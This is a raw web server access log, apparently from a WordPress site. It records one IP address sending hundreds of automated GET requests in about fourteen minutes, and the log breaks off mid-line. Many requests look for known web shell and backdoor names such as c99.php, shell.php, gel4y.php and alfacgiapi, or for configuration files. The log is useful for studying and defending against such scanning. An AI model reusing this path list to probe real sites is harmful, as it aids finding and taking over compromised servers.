[23/Apr/2025:22:00:58 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:04 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:09 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:14 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:20 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:25 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:29 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:33 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:35 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:37 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:39 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:42 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:45 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:47 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:49 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:50 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:52 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:55 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:01:58 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:02:01 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:02:04 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:02:07 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:02:12 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:02:16 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:02:21 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:02:24 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:02:29 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:02:34 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:02:40 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:02:45 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:02:49 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:02:54 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:02:57 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:03:02 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:03:08 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:03:15 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:03:19 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:03:24 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:03:27 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:03:31 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:03:34 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:03:38 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:03:44 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:03:49 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:03:54 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:03:59 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:04:05 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:04:12 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:04:17 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:04:21 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:04:25 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:04:30 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:04:35 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:04:43 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:04:50 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:04:57 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:05:05 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:05:10 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:05:17 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:05:23 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:05:31 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:05:37 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:05:43 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:05:47 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:05:50 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:05:55 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:06:00 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:06:04 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:06:08 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:06:12 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:06:17 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:06:22 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:06:29 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:06:34 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:06:38 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:06:43 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:06:47 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:06:51 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:06:54 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:06:57 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:06:59 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:07:03 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:07:06 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:07:08 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:07:12 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:07:14 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:07:19 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:07:23 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:07:27 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:07:29 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:07:33 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:07:37 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:07:41 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:07:46 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:07:52 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:07:59 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:08:05 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:08:10 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:08:16 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:08:21 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:08:24 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:08:27 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:08:29 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:08:31 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:08:35 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:08:39 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:08:43 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:08:47 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:08:51 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:08:55 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:08:58 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:02 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:03 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:06 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:10 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:13 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:16 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:18 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:19 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:21 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:22 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:25 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:27 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:30 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:32 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:35 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:38 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:43 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:48 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:50 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:52 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:55 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:09:58 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:10:01 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:10:05 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:10:11 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:10:19 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:10:23 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:10:28 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:10:30 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:10:33 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:10:37 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:10:40 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:10:42 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:10:44 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:10:46 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:10:48 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:10:50 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:10:55 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:10:58 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:03 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:08 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:10 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:15 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:18 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:21 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:23 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:25 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:26 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:28 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:31 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:32 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:35 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:37 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:40 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:41 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:44 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:46 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:48 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:50 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:54 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:57 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:11:59 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:03 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:06 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:10 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:14 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:17 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:20 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:22 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:25 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:28 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:34 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:37 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:40 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:43 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:45 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:48 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:51 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:56 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:12:59 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:13:05 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:13:12 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:13:16 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:13:20 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:13:23 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:13:26 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:13:29 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:13:33 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:13:36 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:13:38 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:13:42 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:13:45 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:13:49 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:13:52 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:13:55 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:13:57 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:13:59 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:02 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:03 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:06 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:10 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:16 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:19 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:22 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:26 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:28 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:29 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:31 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:33 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:37 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:39 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 40.69.36.158 - - [23/Apr/2025:22:14:42 -0400] "GET 